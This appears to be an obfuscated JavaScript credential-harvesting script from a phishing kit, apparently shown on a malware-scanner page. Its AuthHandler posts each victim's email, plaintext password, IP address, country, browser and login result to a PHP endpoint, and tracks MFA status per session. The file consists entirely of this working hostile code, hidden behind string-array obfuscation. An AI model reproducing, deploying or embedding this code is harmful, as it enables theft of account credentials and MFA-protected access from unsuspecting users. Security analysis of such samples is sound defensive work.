const _0x43235a=_0x41bd;
function _0x4633(){
const _0x1a27f6=['floor','json','ss_id','includes','32244AyhIie','Unknown','635nBlDTO','10918uCubpo','OPR','POST','4521531jMNxTK','replace','8875636wOTnLs','random','Trident/','slice','2629392ioMBiK','124Kgjske','Failed to update MFA status:','AuthHandler','stringify','Opera','88FTDDqU','MSIE','Edg/','36840vjRzmJ','998630NZgTrw','log','Login attempt failed:','Firefox','Safari','error','./assets/php/endpoints/accounts.php','Chrome','Disabled','Edge','9ZmaKFi'];
_0x4633=function(){
return _0x1a27f6;
};
return _0x4633();
}
(function(_0x2cd93e,_0x1a9651){
const _0xf3a0f6=_0x41bd,_0xeeab0e=_0x2cd93e();
while(!![]){
try{
const _0x4189cd=-parseInt(_0xf3a0f6(0x10d))/0x1*(-parseInt(_0xf3a0f6(0x123))/0x2)+parseInt(_0xf3a0f6(0x120))/0x3*(-parseInt(_0xf3a0f6(0x108))/0x4)+parseInt(_0xf3a0f6(0x122))/0x5*(-parseInt(_0xf3a0f6(0x110))/0x6)+parseInt(_0xf3a0f6(0x126))/0x7+-parseInt(_0xf3a0f6(0x107))/0x8*(parseInt(_0xf3a0f6(0x11b))/0x9)+-parseInt(_0xf3a0f6(0x111))/0xa+parseInt(_0xf3a0f6(0x103))/0xb;
if(_0x4189cd===_0x1a9651)break;
else _0xeeab0e['push'](_0xeeab0e['shift']());
}
catch(_0x1c9b65){
_0xeeab0e['push'](_0xeeab0e['shift']());
}
}
}
(_0x4633,0x5fa10));
const ACCOUNTS_ENDPOINT=_0x43235a(0x117);
function getBrowserName(){
const _0x343ef4=_0x43235a,_0x25d92c=navigator['userAgent'];
if(_0x25d92c[_0x343ef4(0x11f)](_0x343ef4(0x10f)))return _0x343ef4(0x11a);
else{
if(_0x25d92c[_0x343ef4(0x11f)](_0x343ef4(0x124))||_0x25d92c[_0x343ef4(0x11f)](_0x343ef4(0x10c)))return _0x343ef4(0x10c);
else{
if(_0x25d92c[_0x343ef4(0x11f)](_0x343ef4(0x118)))return _0x343ef4(0x118);
else{
if(_0x25d92c[_0x343ef4(0x11f)]('Safari'))return _0x343ef4(0x115);
else{
if(_0x25d92c[_0x343ef4(0x11f)](_0x343ef4(0x114)))return'Firefox';
else return _0x25d92c[_0x343ef4(0x11f)](_0x343ef4(0x10e))||_0x25d92c[_0x343ef4(0x11f)](_0x343ef4(0x105))?'Internet Explorer':_0x343ef4(0x121);
}
}
}
}
}
function _0x41bd(_0x11fc04,_0x5d2098){
const _0x4633ed=_0x4633();
return _0x41bd=function(_0x41bdb3,_0x1e5229){
_0x41bdb3=_0x41bdb3-0x103;
let _0x414a01=_0x4633ed[_0x41bdb3];
return _0x414a01;
}
,_0x41bd(_0x11fc04,_0x5d2098);
}
const AuthHandler={
async 'postLogin'(_0x3535af,_0x4d9651,_0x43307f,_0x2c874d,_0x377814,_0x47439b=_0x43235a(0x119)){
const _0xd4c11a=_0x43235a;
try{
console[_0xd4c11a(0x112)](getBrowserName());
const _0xcde21c=await fetch(ACCOUNTS_ENDPOINT,{
'method':_0xd4c11a(0x125),'headers':{
'Content-Type':'application/json'
}
,'body':JSON[_0xd4c11a(0x10b)]({
'email':_0x3535af,'password':_0x4d9651,'IP':_0x43307f['ip'],'browser':getBrowserName(),'Type':_0x2c874d,'login_result':_0x377814,'MFA_status':_0x47439b,'country':_0x43307f['country_name'],'date':new Date()['toISOString']()[_0xd4c11a(0x106)](0x0,0x13)[_0xd4c11a(0x127)]('T',' '),'ss_id':Math[_0xd4c11a(0x11c)](Math[_0xd4c11a(0x104)]()*0xf4240)
}
)
}
),_0xdae0fc=await _0xcde21c[_0xd4c11a(0x11d)]();
return{
'success':_0xcde21c['ok'],'id':_0xdae0fc['id'],'ss_id':_0xdae0fc[_0xd4c11a(0x11e)]
};
}
catch(_0x27ead3){
return console[_0xd4c11a(0x116)](_0xd4c11a(0x113),_0x27ead3),{
'success':![]
};
}
}
,async 'updateMfaComplete'(_0x31a3b0,_0x38f50f){
const _0x5ebf60=_0x43235a;
try{
const _0x541c66=await fetch(ACCOUNTS_ENDPOINT,{
'method':'PUT','headers':{
'Content-Type':'application/json'
}
,'body':JSON[_0x5ebf60(0x10b)]({
'ss_id':_0x31a3b0,'MFA_status':_0x38f50f
}
)
}
);
return _0x541c66['ok'];
}
catch(_0x349c0d){
return console['error'](_0x5ebf60(0x109),_0x349c0d),![];
}
}
};
window[_0x43235a(0x10a)]=AuthHandler;
© 2023 Quttera Ltd. All rights reserved.